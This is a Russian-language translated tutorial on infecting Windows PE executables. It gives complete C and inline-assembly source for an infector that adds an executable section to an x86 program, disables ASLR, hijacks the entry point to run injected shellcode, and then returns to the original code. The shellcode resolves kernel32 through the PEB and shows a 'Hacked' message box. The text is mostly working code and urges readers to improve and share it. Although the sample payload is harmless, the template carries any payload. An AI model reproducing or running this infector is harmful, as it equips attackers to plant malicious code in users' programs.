tags: windows - malware
Еще один детальный гайд по заражению PE
Я передаю привет всем друзьям сайта rohitab.com!
Сегодня я хочу вам объяснить подробно, что такое заражение PE. Тема довольна сложная, но в конце концов интересная!
Требования, чтобы понять это руководство:
- Отличные знания о PE
- Хорошее знание языка ассемблера
- Хорошее знание работы памяти, указателей и файловых операций
- Терпение
Начнем!
Для начала мы добавим новую, пустую PE секцию. Получив путь к файлу, мы полностью его читаем, проверяем DOS сигнатуру, чтобы убедиться в валидности PE, проверяем, является ли он исполняемым x86 файлом (это очень важно, так как мы будем внедрять x86 опкоды в пустую секцию), проверяем, существует ли уже секция, которую мы хотим создать, и если все проверки пройдены - мы создаем новую секцию, с заданным размером и характеристиками. Код, который найдете далее, прокомментирован и хорошо объясняет происходящее.
Все это делается функцией AddSection
. Стоит отметить, что метод описанный здесь использует файл на диске, без маппинга его в память и производит чтение/запись там же. Он также сильно опирается на файловые указатели.
Вторая и самая сложная часть - это добавление кода в только что созданную секцию. Чтобы доказать работоспособность этого метода, я делаю следующее:
- Добавляю новую секцию
- Берем и сохраняем адрес оригинальной точки входа из
Optional Header
(это адрес, откуда программа начинает работу) - Меняем OEP (оригинальную точку входа), чтобы она указывала на нашу новую секцию, поэтому когда пользователь запустит программу, она начнет выполнять наш код и делать все что мы захотим ДО того, как начнется выполнение оригинального кода, потом идет возврат к оригинальной точке входа и программа работает, как ни в чем небывало! В данном конкретном случае, я показываю всплывающее окно с надписью “Hacked”!
ВАЖНО
Так как kernel32
загружается каждый раз при перезагрузке по разным адресам, нам надо ДИНАМИЧЕСКИ получать ее базовый адрес из PEB
, чтобы мы могли найти функцию в таблице экспорта под названием LoadLibraryA
, вызвать ее с аргументом "user32.dll"
, и потом достать адрес функции MessageBoxA
из user32.dll
, используя GetProcAddress
.
ВСЕ ЭТО ДОЛЖНО БЫТЬ СДЕЛАНО ВНУТРИ НОВОЙ PE СЕКЦИИ, КОТОРУЮ МЫ СОЗДАЛИ !!!
Каким образом мы можем это сделать? Нам надо получить опкоды из кода ассемблерных вставок и затем скопировать их в новую секцию.
Это можно сделать с помощью шикарного кода, написанного wap2k
, который я называю self-read (self-read означает, что код сам вычисляет смещение секции по середине. Далее я просто буду использовать словосочетание self-read - прим. пер.):
DWORD start(0), end(0);
__asm{
mov eax, loc1
mov[start], eax
// мы пропускаем вторую ассемблерную вставку (__asm),
//чтобы не исполнять ее в самом коде инфектора (инфектор от слова infect - заражать)
jmp over
loc1:
}
__asm{
// опкоды, который мы хотим создать и скопировать в новую секцию
}
__asm{
over:
mov eax, loc2
mov [end],eax
loc2:
}
Мы создаем две метки в коде. Одна указывает на начало секции с опкодами, другая на конец. Вторая ассемблерная вставка (__asm в середине) - это что нас интересует. Когда мы отнимаем адрес конца от адреса начала - мы получаем смещение, по которому мы должны скопировать подходящий код (в середине), без копирования остальных опкодов, чтобы не нарушить целостность внедряемого кода.
Мы перепрыгиваем код в середине, чтобы не исполнять его при заражении, используя инструкцию jmp
(jmp
на метку "over"
).
Теперь, внутри секции в середине, мы ищем базовый адрес kernel32.dll
, ищем функции LoadLibraryA
и GetProcAddress
для получения адреса MessageBoxA и вызова его с нужным текстом!
После того, как мы нашли и вызвали эти функции (вызов и поиск производится зараженным PE, надеюсь вы это уже поняли), нам надо прыгнуть назад к оригинальному коду программы (входной точке)!
Так как значение OEP (оригинальная точка входа) хранится в переменной внутри кода инфектора и если мы хотим ссылаться на него из опкодов, то self-read код заполнит недействительный адрес, так как мы укажем на то, что существует только здесь, а не на секцию данных зараженной программы. Решение: мы поместим заглушку со значением 0xdeadbeef, чтобы позже перезаписать туда OEP.
Мы будем перезаписывать заглушку вот так:
if (*invalidEP == 0xdeadbeef){
DWORD old;
VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE, &old);
*invalidEP = OEP;
}
Код прокомментирован, но я буду подробно объяснять проблемные участки! Я сейчас на работе и писал это руководство быстро, как только мог, поэтому буду рассказывать подробно !!!
Вот сам код:
#include <windows.h>
#include <imagehlp.h>
#include <winternl.h>
#include <stdio.h>
#pragma comment(lib, "imagehlp")
DWORD align(DWORD size, DWORD align, DWORD addr){
if (!(size % align))
return addr + size;
return addr + (size / align + 1) * align;
}
int AddSection(char *filepath, char *sectionName, DWORD sizeOfSection){
HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE){
CloseHandle(file);
return 0;
}
DWORD fileSize = GetFileSize(file, NULL);
if (!fileSize){
CloseHandle(file);
// пустой файл, что делает его недействительным
return -1;
}
// теперь мы знаем сколько памяти нам надо для буфера
BYTE *pByte = new BYTE[fileSize];
DWORD dw;
// читаем весь файл, чтобы получить доступ к информации о PE
ReadFile(file, pByte, fileSize, &dw, NULL);
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
if (dos->e_magic != IMAGE_DOS_SIGNATURE){
CloseHandle(file);
return -1; // невалидный PE
}
PIMAGE_NT_HEADERS NT = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);
if (NT->FileHeader.Machine != IMAGE_FILE_MACHINE_I386){
CloseHandle(file);
return -3;// 64 битный файл
}
PIMAGE_SECTION_HEADER SH = IMAGE_FIRST_SECTION(NT);
WORD sCount = NT->FileHeader.NumberOfSections;
// проходим по всем доступным секциям и смотрим,
// существует ли уже та, которую мы хотим добавить
for (int i = 0; i < sCount; i++){
PIMAGE_SECTION_HEADER x = SH + i;
if (!strcmp((char *)x->Name, sectionName)){
//PE секция уже существует
CloseHandle(file);
return -2;
}
}
ZeroMemory(&SH[sCount], sizeof(IMAGE_SECTION_HEADER));
CopyMemory(&SH[sCount].Name, sectionName, 8);
// Мы используем 8 байт для имени секции, потому что это максимально разрешенная длина
// вставляем всю необходимую информацию о нашей новой PE секции
SH[sCount].Misc.VirtualSize = align(sizeOfSection, NT->OptionalHeader.SectionAlignment, 0);
SH[sCount].VirtualAddress = align(SH[sCount - 1].Misc.VirtualSize,
NT->OptionalHeader.SectionAlignment, SH[sCount - 1].VirtualAddress);
SH[sCount].SizeOfRawData = align(sizeOfSection, NT->OptionalHeader.FileAlignment, 0);
SH[sCount].PointerToRawData = align(SH[sCount - 1].SizeOfRawData,
NT->OptionalHeader.FileAlignment, SH[sCount - 1].PointerToRawData);
SH[sCount].Characteristics = 0xE00000E0;
/*
0xE00000E0 = IMAGE_SCN_MEM_WRITE |
IMAGE_SCN_CNT_CODE |
IMAGE_SCN_CNT_UNINITIALIZED_DATA |
IMAGE_SCN_MEM_EXECUTE |
IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ
*/
SetFilePointer(file, SH[sCount].PointerToRawData + SH[sCount].SizeOfRawData, NULL, FILE_BEGIN);
// устанавливаем конец файла на последнюю секции + размер файла
SetEndOfFile(file);
// теперь меняем размер образа, чтобы он соответствовал нашим модификациям,
// добавлением новой секции. Размер теперь стал больше
NT->OptionalHeader.SizeOfImage = SH[sCount].VirtualAddress + SH[sCount].Misc.VirtualSize;
// так как мы добавляем новую секцию, то меняем их количество
NT->FileHeader.NumberOfSections += 1;
SetFilePointer(file, 0, NULL, FILE_BEGIN);
// и в конечном итоге записываем результат наших модификаций в файл
WriteFile(file, pByte, fileSize, &dw, NULL);
CloseHandle(file);
return 1;
}
bool AddCode(char *filepath){
HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE){
CloseHandle(file);
return false;
}
DWORD filesize = GetFileSize(file, NULL);
BYTE *pByte = new BYTE[filesize];
DWORD dw;
ReadFile(file, pByte, filesize, &dw, NULL);
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);
// ОЧЕНЬ ВАЖНО
// ЕСЛИ ВКЛЮЧЕН ASLR - ЭТО РАБОТАТЬ НЕ БУДЕТ !!!
// Решение: Отключайте ASLR =))
nt->OptionalHeader.DllCharacteristics &= ~IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE;
// так как мы добавили новую секцию, она будет последней
// поэтому мы должны добраться до последней секции и вставить наши секретные данные :)
PIMAGE_SECTION_HEADER first = IMAGE_FIRST_SECTION(nt);
PIMAGE_SECTION_HEADER last = first + (nt->FileHeader.NumberOfSections - 1);
SetFilePointer(file, 0, 0, FILE_BEGIN);
//сохраняем оригинальную точку входа
DWORD OEP = nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase;
// мы меняем оригинальную точку входа на адрес последней секции
nt->OptionalHeader.AddressOfEntryPoint = last->VirtualAddress;
WriteFile(file, pByte, filesize, &dw, 0);
// получаем опкоды
DWORD start(0), end(0);
__asm{
mov eax, loc1
mov[start], eax
//мы пропускаем вторую ассемблерную вставку (__asm)
//чтобы не исполнять ее в самом коде инфектора
jmp over
loc1:
}
__asm{
/*
Смысл этого куска кода в чтении базового адреса kernel32.dll
из PED, просмотр таблицы экспорта (EAT) и поиск функций
*/
mov eax, fs:[30h]
mov eax, [eax + 0x0c]; 12
mov eax, [eax + 0x14]; 20
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 0x10]; 16
mov ebx, eax; // Берем базовый адрес kernel32
mov eax, [ebx + 0x3c]; // VMA заголовка PE
//(virtual memory address - адрес виртуальной памяти - прим.пер.)
mov edi, [ebx + eax + 0x78]; // Относительное смещение таблицы экспорта
add edi, ebx; // VMA таблицы экспорта
mov ecx, [edi + 0x18]; // количество имен
mov edx, [edi + 0x20]; // Относительное смещение таблицы имен
add edx, ebx; // VMA таблицы имен
// теперь давайте посмотрим на функцию LoadLibraryA
LLA :
dec ecx
mov esi, [edx + ecx * 4]; //сохраняем относительное смещение имени
add esi, ebx; //Устанавливаем в esi - VMA текущего имени
cmp dword ptr[esi], 0x64616f4c; //обратный порядок байт L(4c)o(6f)a(61)d(64)
je LLALOOP1
LLALOOP1 :
cmp dword ptr[esi + 4], 0x7262694c
;L(4c)i(69)b(62)r(72)
je LLALOOP2
LLALOOP2 :
cmp dword ptr[esi + 8], 0x41797261; //третье слово = a(61)r(72)y(79)A(41)
je stop; //прыгаем на метку stop, потому что мы нашли его
jmp LLA; //Load Libr aryA
stop :
mov edx, [edi + 0x24]; // Таблица относительных порядковых номеров функций
add edx, ebx; //Таблица порядковых номеров функций
mov cx, [edx + 2 * ecx];// порядковый номер функции
mov edx, [edi + 0x1c];// Таблица относительных адресов смещений
add edx, ebx;// Таблица адресов
mov eax, [edx + 4 * ecx]; //смещение порядкового номера
add eax, ebx; // VMA функции
// теперь EAX содержит адрес LoadLibraryA
sub esp, 11
mov ebx, esp
mov byte ptr[ebx], 0x75; u
mov byte ptr[ebx + 1], 0x73; s
mov byte ptr[ebx + 2], 0x65; e
mov byte ptr[ebx + 3], 0x72; r
mov byte ptr[ebx + 4], 0x33; 3
mov byte ptr[ebx + 5], 0x32; 2
mov byte ptr[ebx + 6], 0x2e; .
mov byte ptr[ebx + 7], 0x64; d
mov byte ptr[ebx + 8], 0x6c; l
mov byte ptr[ebx + 9], 0x6c; l
mov byte ptr[ebx + 10], 0x0
push ebx
//вызываем LoadLibraryA с аргументом user32.dll
call eax;
add esp, 11
//сохраняем адрес возврата LoadLibraryA для последующего использования в GetProcAddress
push eax
// снова ищем функцию GetProcAddress
mov eax, fs:[30h]
mov eax, [eax + 0x0c]; 12
mov eax, [eax + 0x14]; 20
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 0x10]; 16
mov ebx, eax; //базовый адрес kernel32
mov eax, [ebx + 0x3c]; //VMA заголовка PE
mov edi, [ebx + eax + 0x78]; //Относительное смещение таблицы экспорта
add edi, ebx; //VMA таблицы экспорта
mov ecx, [edi + 0x18]; //Количество имен
mov edx, [edi + 0x20]; //Относительное смещение таблицы имен
add edx, ebx; //VMA таблицы имен
GPA :
dec ecx
mov esi, [edx + ecx * 4]; //сохраняем относительное смещение имени
add esi, ebx; //Устанавливаем в esi - VMA текущего имени
cmp dword ptr[esi], 0x50746547; //обратный порядок байт G(47)e(65)t(74)P(50)
je GPALOOP1
GPALOOP1 :
cmp dword ptr[esi + 4], 0x41636f72
// помните про обратный порядок : ) r(72)o(6f)c(63)A(41)
je GPALOOP2
GPALOOP2 :
cmp dword ptr[esi + 8], 0x65726464; //третье слово = d(64)d(64)r(72)e(65)
// нет необходимости искать далее,
// так как больше нет функций, начинающихся с GetProcAddre
je stp; //если нашли, то прыгаем на метку stp
jmp GPA
stp :
mov edx, [edi + 0x24]; //Таблица относительных порядковых номеров функций
add edx, ebx; //Таблица порядковых номеров функций
mov cx, [edx + 2 * ecx]; //порядковый номер функции
mov edx, [edi + 0x1c]; //Таблица относительных адресов смещений
add edx, ebx; //Таблица адресов
mov eax, [edx + 4 * ecx]; //смещение порядкового номера
add eax, ebx; //VMA функции
// теперь EAX содержит адрес GetProcAddress
mov esi, eax
sub esp, 12
mov ebx, esp
mov byte ptr[ebx], 0x4d //M
mov byte ptr[ebx + 1], 0x65 //e
mov byte ptr[ebx + 2], 0x73 //s
mov byte ptr[ebx + 3], 0x73 //s
mov byte ptr[ebx + 4], 0x61 //a
mov byte ptr[ebx + 5], 0x67 //g
mov byte ptr[ebx + 6], 0x65 //e
mov byte ptr[ebx + 7], 0x42 //B
mov byte ptr[ebx + 8], 0x6f //o
mov byte ptr[ebx + 9], 0x78 //x
mov byte ptr[ebx + 10], 0x41 //A
mov byte ptr[ebx + 11], 0x0
/*
Достаем значение, сохраненное после возврата LoadLibraryA
Вызов GetProcAddress выглядит так:
esi(saved eax{address of user32.dll module}, ebx {the string "MessageBoxA"})
*/
mov eax, [esp + 12]
push ebx; //MessageBoxA
push eax; //базовый адрес user32.dll, который получили с помощью LoadLibraryA
call esi; //адрес GetProcAddress :))
add esp, 12
sub esp, 8
mov ebx,esp
mov byte ptr[ebx], 72; //H
mov byte ptr[ebx + 1], 97; //a
mov byte ptr[ebx + 2], 99; //c
mov byte ptr[ebx + 3], 107; //k
mov byte ptr[ebx + 4], 101; //e
mov byte ptr[ebx + 5], 100; //d
mov byte ptr[ebx + 6], 0
push 0
push 0
push ebx
push 0
call eax
add esp, 8
mov eax, 0xdeadbeef ; //Оригинальная точка входа
jmp eax
}
__asm{
over:
mov eax, loc2
mov [end],eax
loc2:
}
byte mac[1000];
byte *fb = ((byte *)(start));
DWORD *invalidEP;
DWORD i = 0;
while (i < ((end - 11) - start)){
invalidEP = ((DWORD*)((byte*)start + i));
if (*invalidEP == 0xdeadbeef){
/*
Так как значение OEP (оригинальная точка входа) хранится в переменной внутри
кода инфектора и если мы хотим ссылаться на него из опкодов, то self-read код
заполнит недействительный адрес, так как мы укажем на то, что существует только
здесь, а не на раздел данных зараженной программы. Решение: мы поместим
заглушку со значением 0xdeadbeef, чтобы позже перезаписать туда OEP.
*/
DWORD old;
VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE, &old);
*invalidEP = OEP;
}
mac[i] = fb[i];
i++;
}
SetFilePointer(file, last->PointerToRawData, NULL, FILE_BEGIN);
WriteFile(file, mac, i, &dw, 0);
CloseHandle(file);
return true;
}
void main(){
char *file = "C:\\Users\\M\\Desktop\\Athena.exe";
int res = AddSection(file, ".ATH", 400);
switch (res){
case 0:
printf("Error adding section: File not found or in use!\n");
break;
case 1:
printf("Section added!\n");
if (AddCode(file))
printf("Code written!\n");
else
printf("Error writting code!\n");
break;
case -1:
printf("Error adding section: Invalid path or PE format!\n");
break;
case -2:
printf("Error adding section: Section already exists!\n");
break;
case -3:
printf("Error: x64 PE detected! This version works only with x86 PE's!\n");
break;
}
}
Пробуйте, улучшайте, делайте свое и самое главное: ДЕЛИТЕСЬ ЭТИМ С ДРУГИМИ!
Счастливого кодинга!
Вверх